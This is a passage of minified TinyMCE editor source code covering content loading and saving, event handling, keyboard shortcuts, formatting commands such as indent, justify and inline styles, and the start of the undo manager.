true}if(y=u.execCommands[x]){r=y.func.call(y.scope,w,z);if(r!==true){u.onExecCommand.dispatch(u,x,w,z,q);return r}}j(u.plugins,function(s){if(s.execCommand&&s.execCommand(x,w,z)){u.onExecCommand.dispatch(u,x,w,z,q);v=1;return false}});if(v){return true}if(u.theme&&u.theme.execCommand&&u.theme.execCommand(x,w,z)){u.onExecCommand.dispatch(u,x,w,z,q);return true}if(n.GlobalCommands.execCommand(u,x,w,z)){u.onExecCommand.dispatch(u,x,w,z,q);return true}if(u.editorCommands.execCommand(x,w,z)){u.onExecCommand.dispatch(u,x,w,z,q);return true}u.getDoc().execCommand(x,w,z);u.onExecCommand.dispatch(u,x,w,z,q)},queryCommandState:function(w){var r=this,v,u;if(r._isHidden()){return}if(v=r.queryStateCommands[w]){u=v.func.call(v.scope);if(u!==true){return u}}v=r.editorCommands.queryCommandState(w);if(v!==-1){return v}try{return this.getDoc().queryCommandState(w)}catch(q){}},queryCommandValue:function(w){var r=this,v,u;if(r._isHidden()){return}if(v=r.queryValueCommands[w]){u=v.func.call(v.scope);if(u!==true){return u}}v=r.editorCommands.queryCommandValue(w);if(d(v)){return v}try{return this.getDoc().queryCommandValue(w)}catch(q){}},show:function(){var q=this;o.show(q.getContainer());o.hide(q.id);q.load()},hide:function(){var q=this,r=q.getDoc();if(b&&r){r.execCommand("SelectAll")}q.save();o.hide(q.getContainer());o.setStyle(q.id,"display",q.orgDisplay)},isHidden:function(){return !o.isHidden(this.id)},setProgressState:function(q,r,s){this.onSetProgressState.dispatch(this,q,r,s);return q},resizeToContent:function(){var q=this;o.setStyle(q.id+"_ifr","height",q.getBody().scrollHeight)},load:function(u){var q=this,s=q.getElement(),r;if(s){u=u||{};u.load=true;r=q.setContent(d(s.value)?s.value:s.innerHTML,u);u.element=s;if(!u.no_events){q.onLoadContent.dispatch(q,u)}u.element=s=null;return r}},save:function(v){var q=this,u=q.getElement(),r,s;if(!u||!q.initialized){return}v=v||{};v.save=true;if(!v.no_events){q.undoManager.typing=0;q.undoManager.add()}v.element=u;r=v.content=q.getContent(v);if(!v.no_events){q.onSaveContent.dispatch(q,v)}r=v.content;if(!/TEXTAREA|INPUT/i.test(u.nodeName)){u.innerHTML=r;if(s=o.getParent(q.id,"form")){j(s.elements,function(t){if(t.name==q.id){t.value=r;return false}})}}else{u.value=r}v.element=u=null;return r},setContent:function(r,s){var q=this;s=s||{};s.format=s.format||"html";s.set=true;s.content=r;if(!s.no_events){q.onBeforeSetContent.dispatch(q,s)}if(!n.isIE&&(r.length===0||/^\s+$/.test(r))){s.content=q.dom.setHTML(q.getBody(),'<br mce_bogus="1" />');s.format="raw"}s.content=q.dom.setHTML(q.getBody(),n.trim(s.content));if(s.format!="raw"&&q.settings.cleanup){s.getInner=true;s.content=q.dom.setHTML(q.getBody(),q.serializer.serialize(q.getBody(),s))}if(!s.no_events){q.onSetContent.dispatch(q,s)}return s.content},getContent:function(s){var q=this,r;s=s||{};s.format=s.format||"html";s.get=true;if(!s.no_events){q.onBeforeGetContent.dispatch(q,s)}if(s.format!="raw"&&q.settings.cleanup){s.getInner=true;r=q.serializer.serialize(q.getBody(),s)}else{r=q.getBody().innerHTML}r=r.replace(/^\s*|\s*$/g,"");s.content=r;if(!s.no_events){q.onGetContent.dispatch(q,s)}return s.content},isDirty:function(){var q=this;return n.trim(q.startContent)!=n.trim(q.getContent({format:"raw",no_events:1}))&&!q.isNotDirty},getContainer:function(){var q=this;if(!q.container){q.container=o.get(q.editorContainer||q.id+"_parent")}return q.container},getContentAreaContainer:function(){return this.contentAreaContainer},getElement:function(){return o.get(this.settings.content_element||this.id)},getWin:function(){var q=this,r;if(!q.contentWindow){r=o.get(q.id+"_ifr");if(r){q.contentWindow=r.contentWindow}}return q.contentWindow},getDoc:function(){var r=this,q;if(!r.contentDocument){q=r.getWin();if(q){r.contentDocument=q.document}}return r.contentDocument},getBody:function(){return this.bodyElement||this.getDoc().body},convertURL:function(q,x,w){var r=this,v=r.settings;if(v.urlconverter_callback){return r.execCallback("urlconverter_callback",q,w,true,x)}if(!v.convert_urls||(w&&w.nodeName=="LINK")||q.indexOf("file:")===0){return q}if(v.relative_urls){return r.documentBaseURI.toRelative(q)}q=r.documentBaseURI.toAbsolute(q,v.remove_script_host);return q},addVisual:function(u){var q=this,r=q.settings;u=u||q.getBody();if(!d(q.hasVisual)){q.hasVisual=r.visual}j(q.dom.select("table,a",u),function(t){var s;switch(t.nodeName){case"TABLE":s=q.dom.getAttrib(t,"border");if(!s||s=="0"){if(q.hasVisual){q.dom.addClass(t,r.visual_table_class)}else{q.dom.removeClass(t,r.visual_table_class)}}return;case"A":s=q.dom.getAttrib(t,"name");if(s){if(q.hasVisual){q.dom.addClass(t,"mceItemAnchor")}else{q.dom.removeClass(t,"mceItemAnchor")}}return}});q.onVisualAid.dispatch(q,u,q.hasVisual)},remove:function(){var q=this,r=q.getContainer();q.removed=1;q.hide();q.execCallback("remove_instance_callback",q);q.onRemove.dispatch(q);q.onExecCommand.listeners=[];i.remove(q);o.remove(r)},destroy:function(r){var q=this;if(q.destroyed){return}if(!r){n.removeUnload(q.destroy);tinyMCE.onBeforeUnload.remove(q._beforeUnload);if(q.theme&&q.theme.destroy){q.theme.destroy()}q.controlManager.destroy();q.selection.destroy();q.dom.destroy();if(!q.settings.content_editable){k.clear(q.getWin());k.clear(q.getDoc())}k.clear(q.getBody());k.clear(q.formElement)}if(q.formElement){q.formElement.submit=q.formElement._mceOldSubmit;q.formElement._mceOldSubmit=null}q.contentAreaContainer=q.formElement=q.container=q.settings.content_element=q.bodyElement=q.contentDocument=q.contentWindow=null;if(q.selection){q.selection=q.selection.win=q.selection.dom=q.selection.dom.doc=null}q.destroyed=1},_addEvents:function(){var w=this,v,y=w.settings,x={mouseup:"onMouseUp",mousedown:"onMouseDown",click:"onClick",keyup:"onKeyUp",keydown:"onKeyDown",keypress:"onKeyPress",submit:"onSubmit",reset:"onReset",contextmenu:"onContextMenu",dblclick:"onDblClick",paste:"onPaste"};function u(t,A){var s=t.type;if(w.removed){return}if(w.onEvent.dispatch(w,t,A)!==false){w[x[t.fakeType||t.type]].dispatch(w,t,A)}}j(x,function(t,s){switch(s){case"contextmenu":if(n.isOpera){w.dom.bind(w.getBody(),"mousedown",function(A){if(A.ctrlKey){A.fakeType="contextmenu";u(A)}})}else{w.dom.bind(w.getBody(),s,u)}break;case"paste":w.dom.bind(w.getBody(),s,function(A){u(A)});break;case"submit":case"reset":w.dom.bind(w.getElement().form||o.getParent(w.id,"form"),s,u);break;default:w.dom.bind(y.content_editable?w.getBody():w.getDoc(),s,u)}});w.dom.bind(y.content_editable?w.getBody():(a?w.getDoc():w.getWin()),"focus",function(s){w.focus(true)});if(n.isGecko){w.dom.bind(w.getDoc(),"DOMNodeInserted",function(t){var s;t=t.target;if(t.nodeType===1&&t.nodeName==="IMG"&&(s=t.getAttribute("mce_src"))){t.src=w.documentBaseURI.toAbsolute(s)}})}if(a){function q(){var B=this,D=B.getDoc(),C=B.settings;if(a&&!C.readonly){if(B._isHidden()){try{if(!C.content_editable){D.designMode="On"}}catch(A){}}try{D.execCommand("styleWithCSS",0,false)}catch(A){if(!B._isHidden()){try{D.execCommand("useCSS",0,true)}catch(A){}}}if(!C.table_inline_editing){try{D.execCommand("enableInlineTableEditing",false,false)}catch(A){}}if(!C.object_resizing){try{D.execCommand("enableObjectResizing",false,false)}catch(A){}}}}w.onBeforeExecCommand.add(q);w.onMouseDown.add(q)}w.onMouseUp.add(w.nodeChanged);w.onClick.add(w.nodeChanged);w.onKeyUp.add(function(s,t){var A=t.keyCode;if((A>=33&&A<=36)||(A>=37&&A<=40)||A==13||A==45||A==46||A==8||(n.isMac&&(A==91||A==93))||t.ctrlKey){w.nodeChanged()}});w.onReset.add(function(){w.setContent(w.startContent,{format:"raw"})});if(y.custom_shortcuts){if(y.custom_undo_redo_keyboard_shortcuts){w.addShortcut("ctrl+z",w.getLang("undo_desc"),"Undo");w.addShortcut("ctrl+y",w.getLang("redo_desc"),"Redo")}if(a){w.addShortcut("ctrl+b",w.getLang("bold_desc"),"Bold");w.addShortcut("ctrl+i",w.getLang("italic_desc"),"Italic");w.addShortcut("ctrl+u",w.getLang("underline_desc"),"Underline")}for(v=1;v<=6;v++){w.addShortcut("ctrl+"+v,"",["FormatBlock",false,"<h"+v+">"])}w.addShortcut("ctrl+7","",["FormatBlock",false,"<p>"]);w.addShortcut("ctrl+8","",["FormatBlock",false,"<div>"]);w.addShortcut("ctrl+9","",["FormatBlock",false,"<address>"]);function z(t){var s=null;if(!t.altKey&&!t.ctrlKey&&!t.metaKey){return s}j(w.shortcuts,function(A){if(n.isMac&&A.ctrl!=t.metaKey){return}else{if(!n.isMac&&A.ctrl!=t.ctrlKey){return}}if(A.alt!=t.altKey){return}if(A.shift!=t.shiftKey){return}if(t.keyCode==A.keyCode||(t.charCode&&t.charCode==A.charCode)){s=A;return false}});return s}w.onKeyUp.add(function(s,t){var A=z(t);if(A){return k.cancel(t)}});w.onKeyPress.add(function(s,t){var A=z(t);if(A){return k.cancel(t)}});w.onKeyDown.add(function(s,t){var A=z(t);if(A){A.func.call(A.scope);return k.cancel(t)}})}if(n.isIE){w.dom.bind(w.getDoc(),"controlselect",function(A){var t=w.resizeInfo,s;A=A.target;if(A.nodeName!=="IMG"){return}if(t){w.dom.unbind(t.node,t.ev,t.cb)}if(!w.dom.hasClass(A,"mceItemNoResize")){ev="resizeend";s=w.dom.bind(A,ev,function(C){var B;C=C.target;if(B=w.dom.getStyle(C,"width")){w.dom.setAttrib(C,"width",B.replace(/[^0-9%]+/g,""));w.dom.setStyle(C,"width","")}if(B=w.dom.getStyle(C,"height")){w.dom.setAttrib(C,"height",B.replace(/[^0-9%]+/g,""));w.dom.setStyle(C,"height","")}})}else{ev="resizestart";s=w.dom.bind(A,"resizestart",k.cancel,k)}t=w.resizeInfo={node:A,ev:ev,cb:s}});w.onKeyDown.add(function(s,t){switch(t.keyCode){case 8:if(w.selection.getRng().item){w.selection.getRng().item(0).removeNode();return k.cancel(t)}}})}if(n.isOpera){w.onClick.add(function(s,t){k.prevent(t)})}if(y.custom_undo_redo){function r(){w.undoManager.typing=0;w.undoManager.add()}if(n.isIE){w.dom.bind(w.getWin(),"blur",function(s){var t;if(w.selection){t=w.selection.getNode();if(!w.removed&&t.ownerDocument&&t.ownerDocument!=w.getDoc()){r()}}})}else{w.dom.bind(w.getDoc(),"blur",function(){if(w.selection&&!w.removed){r()}})}w.onMouseDown.add(r);w.onKeyUp.add(function(s,t){if((t.keyCode>=33&&t.keyCode<=36)||(t.keyCode>=37&&t.keyCode<=40)||t.keyCode==13||t.keyCode==45||t.ctrlKey){w.undoManager.typing=0;w.undoManager.add()}});w.onKeyDown.add(function(s,t){if((t.keyCode>=33&&t.keyCode<=36)||(t.keyCode>=37&&t.keyCode<=40)||t.keyCode==13||t.keyCode==45){if(w.undoManager.typing){w.undoManager.add();w.undoManager.typing=0}return}if(!w.undoManager.typing){w.undoManager.add();w.undoManager.typing=1}})}},_convertInlineElements:function(){var z=this,B=z.settings,r=z.dom,y,w,u,A,q;function x(s,t){if(!B.inline_styles){return}if(t.get){j(z.dom.select("table,u,strike",t.node),function(v){switch(v.nodeName){case"TABLE":if(y=r.getAttrib(v,"height")){r.setStyle(v,"height",y);r.setAttrib(v,"height","")}break;case"U":case"STRIKE":v.style.textDecoration=v.nodeName=="U"?"underline":"line-through";r.setAttrib(v,"mce_style","");r.setAttrib(v,"mce_name","span");break}})}else{if(t.set){j(z.dom.select("table,span",t.node).reverse(),function(v){if(v.nodeName=="TABLE"){if(y=r.getStyle(v,"height")){r.setAttrib(v,"height",y.replace(/[^0-9%]+/g,""))}}else{if(v.style.textDecoration=="underline"){u="u"}else{if(v.style.textDecoration=="line-through"){u="strike"}else{u=""}}if(u){v.style.textDecoration="";r.setAttrib(v,"mce_style","");w=r.create(u,{style:r.getAttrib(v,"style")});r.replace(w,v,1)}}})}}}z.onPreProcess.add(x);if(!B.cleanup_on_startup){z.onSetContent.add(function(s,t){if(t.initial){x(z,{node:z.getBody(),set:1})}})}},_convertFonts:function(){var w=this,x=w.settings,z=w.dom,v,r,q,u;if(!x.inline_styles){return}v=[8,10,12,14,18,24,36];r=["xx-small","x-small","small","medium","large","x-large","xx-large"];if(q=x.font_size_style_values){q=g(q)}if(u=x.font_size_classes){u=g(u)}function y(B){var C,A,t,s;if(!x.inline_styles){return}t=w.dom.select("font",B);for(s=t.length-1;s>=0;s--){C=t[s];A=z.create("span",{style:z.getAttrib(C,"style"),"class":z.getAttrib(C,"class")});z.setStyles(A,{fontFamily:z.getAttrib(C,"face"),color:z.getAttrib(C,"color"),backgroundColor:C.style.backgroundColor});if(C.size){if(q){z.setStyle(A,"fontSize",q[parseInt(C.size)-1])}else{z.setAttrib(A,"class",u[parseInt(C.size)-1])}}z.setAttrib(A,"mce_style","");z.replace(A,C,1)}}w.onPreProcess.add(function(s,t){if(t.get){y(t.node)}});w.onSetContent.add(function(s,t){if(t.initial){y(t.node)}})},_isHidden:function(){var q;if(!a){return 0}q=this.selection.getSel();return(!q||!q.rangeCount||q.rangeCount==0)},_fixNesting:function(r){var t=[],q;r=r.replace(/<(\/)?([^\s>]+)[^>]*?>/g,function(u,s,w){var v;if(s==="/"){if(!t.length){return""}if(w!==t[t.length-1].tag){for(q=t.length-1;q>=0;q--){if(t[q].tag===w){t[q].close=1;break}}return""}else{t.pop();if(t.length&&t[t.length-1].close){u=u+"</"+t[t.length-1].tag+">";t.pop()}}}else{if(/^(br|hr|input|meta|img|link|param)$/i.test(w)){return u}if(/\/>$/.test(u)){return u}t.push({tag:w})}return u});for(q=t.length-1;q>=0;q--){r+="</"+t[q].tag+">"}return r}})})(tinymce);(function(d){var f=d.each,c=d.isIE,a=d.isGecko,b=d.isOpera,e=d.isWebKit;d.create("tinymce.EditorCommands",{EditorCommands:function(g){this.editor=g},execCommand:function(k,j,l){var h=this,g=h.editor,i;switch(k){case"mceResetDesignMode":case"mceBeginUndoLevel":return true;case"unlink":h.UnLink();return true;case"JustifyLeft":case"JustifyCenter":case"JustifyRight":case"JustifyFull":h.mceJustify(k,k.substring(7).toLowerCase());return true;default:i=this[k];if(i){i.call(this,j,l);return true}}return false},Indent:function(){var g=this.editor,l=g.dom,j=g.selection,k,h,i;h=g.settings.indentation;i=/[a-z%]+$/i.exec(h);h=parseInt(h);if(g.settings.inline_styles&&(!this.queryStateInsertUnorderedList()&&!this.queryStateInsertOrderedList())){f(j.getSelectedBlocks(),function(m){l.setStyle(m,"paddingLeft",(parseInt(m.style.paddingLeft||0)+h)+i)});return}g.getDoc().execCommand("Indent",false,null);if(c){l.getParent(j.getNode(),function(m){if(m.nodeName=="BLOCKQUOTE"){m.dir=m.style.cssText=""}})}},Outdent:function(){var h=this.editor,m=h.dom,k=h.selection,l,g,i,j;i=h.settings.indentation;j=/[a-z%]+$/i.exec(i);i=parseInt(i);if(h.settings.inline_styles&&(!this.queryStateInsertUnorderedList()&&!this.queryStateInsertOrderedList())){f(k.getSelectedBlocks(),function(n){g=Math.max(0,parseInt(n.style.paddingLeft||0)-i);m.setStyle(n,"paddingLeft",g?g+j:"")});return}h.getDoc().execCommand("Outdent",false,null)},mceSetContent:function(h,g){this.editor.setContent(g)},mceToggleVisualAid:function(){var g=this.editor;g.hasVisual=!g.hasVisual;g.addVisual()},mceReplaceContent:function(h,g){var i=this.editor.selection;i.setContent(g.replace(/\{\$selection\}/g,i.getContent({format:"text"})))},mceInsertLink:function(i,h){var g=this.editor,j=g.selection,k=g.dom.getParent(j.getNode(),"a");if(d.is(h,"string")){h={href:h}}function l(m){f(h,function(o,n){g.dom.setAttrib(m,n,o)})}if(!k){g.execCommand("CreateLink",false,"javascript:mctmp(0);");f(g.dom.select("a[href=javascript:mctmp(0);]"),function(m){l(m)})}else{if(h.href){l(k)}else{g.dom.remove(k,1)}}},UnLink:function(){var g=this.editor,h=g.selection;if(h.isCollapsed()){h.select(h.getNode())}g.getDoc().execCommand("unlink",false,null);h.collapse(0)},FontName:function(i,h){var j=this,g=j.editor,k=g.selection,l;if(!h){if(k.isCollapsed()){k.select(k.getNode())}}else{if(g.settings.convert_fonts_to_spans){j._applyInlineStyle("span",{style:{fontFamily:h}})}else{g.getDoc().execCommand("FontName",false,h)}}},FontSize:function(j,i){var h=this.editor,l=h.settings,k,g;if(l.convert_fonts_to_spans&&i>=1&&i<=7){g=d.explode(l.font_size_style_values);k=d.explode(l.font_size_classes);if(k){i=k[i-1]||i}else{i=g[i-1]||i}}if(i>=1&&i<=7){h.getDoc().execCommand("FontSize",false,i)}else{this._applyInlineStyle("span",{style:{fontSize:i}})}},queryCommandValue:function(h){var g=this["queryValue"+h];if(g){return g.call(this,h)}return false},queryCommandState:function(h){var g;switch(h){case"JustifyLeft":case"JustifyCenter":case"JustifyRight":case"JustifyFull":return this.queryStateJustify(h,h.substring(7).toLowerCase());default:if(g=this["queryState"+h]){return g.call(this,h)}}return -1},_queryState:function(h){try{return this.editor.getDoc().queryCommandState(h)}catch(g){}},_queryVal:function(h){try{return this.editor.getDoc().queryCommandValue(h)}catch(g){}},queryValueFontSize:function(){var h=this.editor,g=0,i;if(i=h.dom.getParent(h.selection.getNode(),"span")){g=i.style.fontSize}if(!g&&(b||e)){if(i=h.dom.getParent(h.selection.getNode(),"font")){g=i.size}return g}return g||this._queryVal("FontSize")},queryValueFontName:function(){var h=this.editor,g=0,i;if(i=h.dom.getParent(h.selection.getNode(),"font")){g=i.face}if(i=h.dom.getParent(h.selection.getNode(),"span")){g=i.style.fontFamily.replace(/, /g,",").replace(/[\'\"]/g,"").toLowerCase()}if(!g){g=this._queryVal("FontName")}return g},mceJustify:function(o,p){var k=this.editor,m=k.selection,g=m.getNode(),q=g.nodeName,h,j,i=k.dom,l;if(k.settings.inline_styles&&this.queryStateJustify(o,p)){l=1}h=i.getParent(g,k.dom.isBlock);if(q=="IMG"){if(p=="full"){return}if(l){if(p=="center"){i.setStyle(h||g.parentNode,"textAlign","")}i.setStyle(g,"float","");this.mceRepaint();return}if(p=="center"){if(h&&/^(TD|TH)$/.test(h.nodeName)){h=0}if(!h||h.childNodes.length>1){j=i.create("p");j.appendChild(g.cloneNode(false));if(h){i.insertAfter(j,h)}else{i.insertAfter(j,g)}i.remove(g);g=j.firstChild;h=j}i.setStyle(h,"textAlign",p);i.setStyle(g,"float","")}else{i.setStyle(g,"float",p);i.setStyle(h||g.parentNode,"textAlign","")}this.mceRepaint();return}if(k.settings.inline_styles&&k.settings.forced_root_block){if(l){p=""}f(m.getSelectedBlocks(i.getParent(m.getStart(),i.isBlock),i.getParent(m.getEnd(),i.isBlock)),function(n){i.setAttrib(n,"align","");i.setStyle(n,"textAlign",p=="full"?"justify":p)});return}else{if(!l){k.getDoc().execCommand(o,false,null)}}if(k.settings.inline_styles){if(l){i.getParent(k.selection.getNode(),function(r){if(r.style&&r.style.textAlign){i.setStyle(r,"textAlign","")}});return}f(i.select("*"),function(s){var r=s.align;if(r){if(r=="full"){r="justify"}i.setStyle(s,"textAlign",r);i.setAttrib(s,"align","")}})}},mceSetCSSClass:function(h,g){this.mceSetStyleInfo(0,{command:"setattrib",name:"class",value:g})},getSelectedElement:function(){var w=this,o=w.editor,n=o.dom,s=o.selection,h=s.getRng(),l,k,u,p,j,g,q,i,x,v;if(s.isCollapsed()||h.item){return s.getNode()}v=o.settings.merge_styles_invalid_parents;if(d.is(v,"string")){v=new RegExp(v,"i")}if(c){l=h.duplicate();l.collapse(true);u=l.parentElement();k=h.duplicate();k.collapse(false);p=k.parentElement();if(u!=p){l.move("character",1);u=l.parentElement()}if(u==p){l=h.duplicate();l.moveToElementText(u);if(l.compareEndPoints("StartToStart",h)==0&&l.compareEndPoints("EndToEnd",h)==0){return v&&v.test(u.nodeName)?null:u}}}else{function m(r){return n.getParent(r,"*")}u=h.startContainer;p=h.endContainer;j=h.startOffset;g=h.endOffset;if(!h.collapsed){if(u==p){if(j-g<2){if(u.hasChildNodes()){i=u.childNodes[j];return v&&v.test(i.nodeName)?null:i}}}}if(u.nodeType!=3||p.nodeType!=3){return null}if(j==0){i=m(u);if(i&&i.firstChild!=u){i=null}}if(j==u.nodeValue.length){q=u.nextSibling;if(q&&q.nodeType==1){i=u.nextSibling}}if(g==0){q=p.previousSibling;if(q&&q.nodeType==1){x=q}}if(g==p.nodeValue.length){x=m(p);if(x&&x.lastChild!=p){x=null}}if(i==x){return v&&i&&v.test(i.nodeName)?null:i}}return null},mceSetStyleInfo:function(n,m){var q=this,h=q.editor,j=h.getDoc(),g=h.dom,i,k,r=h.selection,p=m.wrapper||"span",k=r.getBookmark(),o;function l(t,s){if(t.nodeType==1){switch(m.command){case"setattrib":return g.setAttrib(t,m.name,m.value);case"setstyle":return g.setStyle(t,m.name,m.value);case"removeformat":return g.setAttrib(t,"class","")}}}o=h.settings.merge_styles_invalid_parents;if(d.is(o,"string")){o=new RegExp(o,"i")}if((i=q.getSelectedElement())&&!h.settings.force_span_wrappers){l(i,1)}else{j.execCommand("FontName",false,"__");f(g.select("span,font"),function(u){var s,t;if(g.getAttrib(u,"face")=="__"||u.style.fontFamily==="__"){s=g.create(p,{mce_new:"1"});l(s);f(u.childNodes,function(v){s.appendChild(v.cloneNode(true))});g.replace(s,u)}})}f(g.select(p).reverse(),function(t){var s=t.parentNode;if(!g.getAttrib(t,"mce_new")){s=g.getParent(t,"*[mce_new]");if(s){g.remove(t,1)}}});f(g.select(p).reverse(),function(t){var s=t.parentNode;if(!s||!g.getAttrib(t,"mce_new")){return}if(h.settings.force_span_wrappers&&s.nodeName!="SPAN"){return}if(s.nodeName==p.toUpperCase()&&s.childNodes.length==1){return g.remove(s,1)}if(t.nodeType==1&&(!o||!o.test(s.nodeName))&&s.childNodes.length==1){l(s);g.setAttrib(t,"class","")}});f(g.select(p).reverse(),function(s){if(g.getAttrib(s,"mce_new")||(g.getAttribs(s).length<=1&&s.className==="")){if(!g.getAttrib(s,"class")&&!g.getAttrib(s,"style")){return g.remove(s,1)}g.setAttrib(s,"mce_new","")}});r.moveToBookmark(k)},queryStateJustify:function(k,h){var g=this.editor,j=g.selection.getNode(),i=g.dom;if(j&&j.nodeName=="IMG"){if(i.getStyle(j,"float")==h){return 1}return j.parentNode.style.textAlign==h}j=i.getParent(g.selection.getStart(),function(l){return l.nodeType==1&&l.style.textAlign});if(h=="full"){h="justify"}if(g.settings.inline_styles){return(j&&j.style.textAlign==h)}return this._queryState(k)},ForeColor:function(i,h){var g=this.editor;if(g.settings.convert_fonts_to_spans){this._applyInlineStyle("span",{style:{color:h}});return}else{g.getDoc().execCommand("ForeColor",false,h)}},HiliteColor:function(i,k){var h=this,g=h.editor,j=g.getDoc();if(g.settings.convert_fonts_to_spans){this._applyInlineStyle("span",{style:{backgroundColor:k}});return}function l(n){if(!a){return}try{j.execCommand("styleWithCSS",0,n)}catch(m){j.execCommand("useCSS",0,!n)}}if(a||b){l(true);j.execCommand("hilitecolor",false,k);l(false)}else{j.execCommand("BackColor",false,k)}},FormatBlock:function(n,h){var o=this,l=o.editor,p=l.selection,j=l.dom,g,k,m;function i(q){return/^(P|DIV|H[1-6]|ADDRESS|BLOCKQUOTE|PRE)$/.test(q.nodeName)}g=j.getParent(p.getNode(),function(q){return i(q)});if(g){if((c&&i(g.parentNode))||g.nodeName=="DIV"){k=l.dom.create(h);f(j.getAttribs(g),function(q){j.setAttrib(k,q.nodeName,j.getAttrib(g,q.nodeName))});m=p.getBookmark();j.replace(k,g,1);p.moveToBookmark(m);l.nodeChanged();return}}h=l.settings.forced_root_block?(h||"<p>"):h;if(h.indexOf("<")==-1){h="<"+h+">"}if(d.isGecko){h=h.replace(/<(div|blockquote|code|dt|dd|dl|samp)>/gi,"$1")}l.getDoc().execCommand("FormatBlock",false,h)},mceCleanup:function(){var h=this.editor,i=h.selection,g=i.getBookmark();h.setContent(h.getContent());i.moveToBookmark(g)},mceRemoveNode:function(j,k){var h=this.editor,i=h.selection,g,l=k||i.getNode();if(l==h.getBody()){return}g=i.getBookmark();h.dom.remove(l,1);i.moveToBookmark(g);h.nodeChanged()},mceSelectNodeDepth:function(i,j){var g=this.editor,h=g.selection,k=0;g.dom.getParent(h.getNode(),function(l){if(l.nodeType==1&&k++==j){h.select(l);g.nodeChanged();return false}},g.getBody())},mceSelectNode:function(h,g){this.editor.selection.select(g)},mceInsertContent:function(g,h){this.editor.selection.setContent(h)},mceInsertRawHTML:function(h,i){var g=this.editor;g.selection.setContent("tiny_mce_marker");g.setContent(g.getContent().replace(/tiny_mce_marker/g,i))},mceRepaint:function(){var i,g,j=this.editor;if(d.isGecko){try{i=j.selection;g=i.getBookmark(true);if(i.getSel()){i.getSel().selectAllChildren(j.getBody())}i.collapse(true);i.moveToBookmark(g)}catch(h){}}},queryStateUnderline:function(){var g=this.editor,h=g.selection.getNode();if(h&&h.nodeName=="A"){return false}return this._queryState("Underline")},queryStateOutdent:function(){var g=this.editor,h;if(g.settings.inline_styles){if((h=g.dom.getParent(g.selection.getStart(),g.dom.isBlock))&&parseInt(h.style.paddingLeft)>0){return true}if((h=g.dom.getParent(g.selection.getEnd(),g.dom.isBlock))&&parseInt(h.style.paddingLeft)>0){return true}}return this.queryStateInsertUnorderedList()||this.queryStateInsertOrderedList()||(!g.settings.inline_styles&&!!g.dom.getParent(g.selection.getNode(),"BLOCKQUOTE"))},queryStateInsertUnorderedList:function(){return this.editor.dom.getParent(this.editor.selection.getNode(),"UL")},queryStateInsertOrderedList:function(){return this.editor.dom.getParent(this.editor.selection.getNode(),"OL")},queryStatemceBlockQuote:function(){return !!this.editor.dom.getParent(this.editor.selection.getStart(),function(g){return g.nodeName==="BLOCKQUOTE"})},_applyInlineStyle:function(o,j,m){var q=this,n=q.editor,l=n.dom,i,p={},k,r;o=o.toUpperCase();if(m&&m.check_classes&&j["class"]){m.check_classes.push(j["class"])}function h(){f(l.select(o).reverse(),function(t){var s=0;f(l.getAttribs(t),function(u){if(u.nodeName.substring(0,1)!="_"&&l.getAttrib(t,u.nodeName)!=""){s++}});if(s==0){l.remove(t,1)}})}function g(){var s;f(l.select("span,font"),function(t){if(t.style.fontFamily=="mceinline"||t.face=="mceinline"){if(!s){s=n.selection.getBookmark()}j._mce_new="1";l.replace(l.create(o,j),t,1)}});f(l.select(o+"[_mce_new]"),function(u){function t(v){if(v.nodeType==1){f(j.style,function(x,w){l.setStyle(v,w,"")});if(j["class"]&&v.className&&m){f(m.check_classes,function(w){if(l.hasClass(v,w)){l.removeClass(v,w)}})}}}f(l.select(o,u),t);if(u.parentNode&&u.parentNode.nodeType==1&&u.parentNode.childNodes.length==1){t(u.parentNode)}l.getParent(u.parentNode,function(v){if(v.nodeType==1){if(j.style){f(j.style,function(y,x){var w;if(!p[x]&&(w=l.getStyle(v,x))){if(w===y){l.setStyle(u,x,"")}p[x]=1}})}if(j["class"]&&v.className&&m){f(m.check_classes,function(w){if(l.hasClass(v,w)){l.removeClass(u,w)}})}}return false});u.removeAttribute("_mce_new")});h();n.selection.moveToBookmark(s);return !!s}n.focus();n.getDoc().execCommand("FontName",false,"mceinline");g();if(k=q._applyInlineStyle.keyhandler){n.onKeyUp.remove(k);n.onKeyPress.remove(k);n.onKeyDown.remove(k);n.onSetContent.remove(q._applyInlineStyle.chandler)}if(n.selection.isCollapsed()){if(!c){f(l.getParents(n.selection.getNode(),"span"),function(s){f(j.style,function(u,t){var w;if(w=l.getStyle(s,t)){if(w==u){l.setStyle(s,t,"");r=2;return false}r=1;return false}});if(r){return false}});if(r==2){i=n.selection.getBookmark();h();n.selection.moveToBookmark(i);window.setTimeout(function(){n.nodeChanged()},1);return}}q._pendingStyles=d.extend(q._pendingStyles||{},j.style);q._applyInlineStyle.chandler=n.onSetContent.add(function(){delete q._pendingStyles});q._applyInlineStyle.keyhandler=k=function(s){if(q._pendingStyles){j.style=q._pendingStyles;delete q._pendingStyles}if(g()){n.onKeyDown.remove(q._applyInlineStyle.keyhandler);n.onKeyPress.remove(q._applyInlineStyle.keyhandler)}if(s.type=="keyup"){n.onKeyUp.remove(q._applyInlineStyle.keyhandler)}};n.onKeyDown.add(k);n.onKeyPress.add(k);n.onKeyUp.add(k)}else{q._pendingStyles=0}}})})(tinymce);(function(a){a.create("tinymce.UndoManager",{index:0,data:null,typing:0,UndoManager:function(c){var d=this,b=a.util.Dispatcher;d.editor=c;d.data=[];d.onAdd=new b(this);d.onUndo=new b(this);d.onRedo=new b(this)},add:function(d){var g=this,f,e=g.editor,c,h=e.settings,j;d=d||{};d.content=d.content||e.getContent({format:"raw",no_events:1});d.content=d.content.replace(/^\s*|\s*$/g,"");j=g.data[g.index>0&&(g.index==0||g.index==g.data.length)?g.index-1:g.index];if(!d.initial&&j&&d.content==j.content){return null}if(h.custom_undo_redo_levels){if(g.data.length>h.custom_undo_redo_levels){for(f=0;f<g.data.length-1;f++){g.data[f]=g.data[f+1]}g.data.length--;g.index=g.data.length}}if(h.custom_undo_redo_restore_selection&&!d.initial){d.bookmark=c=d.bookmark||e.selection.getBookmark()}if(g.index<g.data.length){g.index++}if(g.data.length===0&&!d.initial){return null}g.data.length=g.index+1;g.data[g.index++]=d;if(d.initial){g.index=0}if(g.data.length==2&&g.data[0].initial){g.data[0].bookmark=c}g.onAdd.dispatch(g,d);e.isNotDirty=0;return d},undo:function(){var 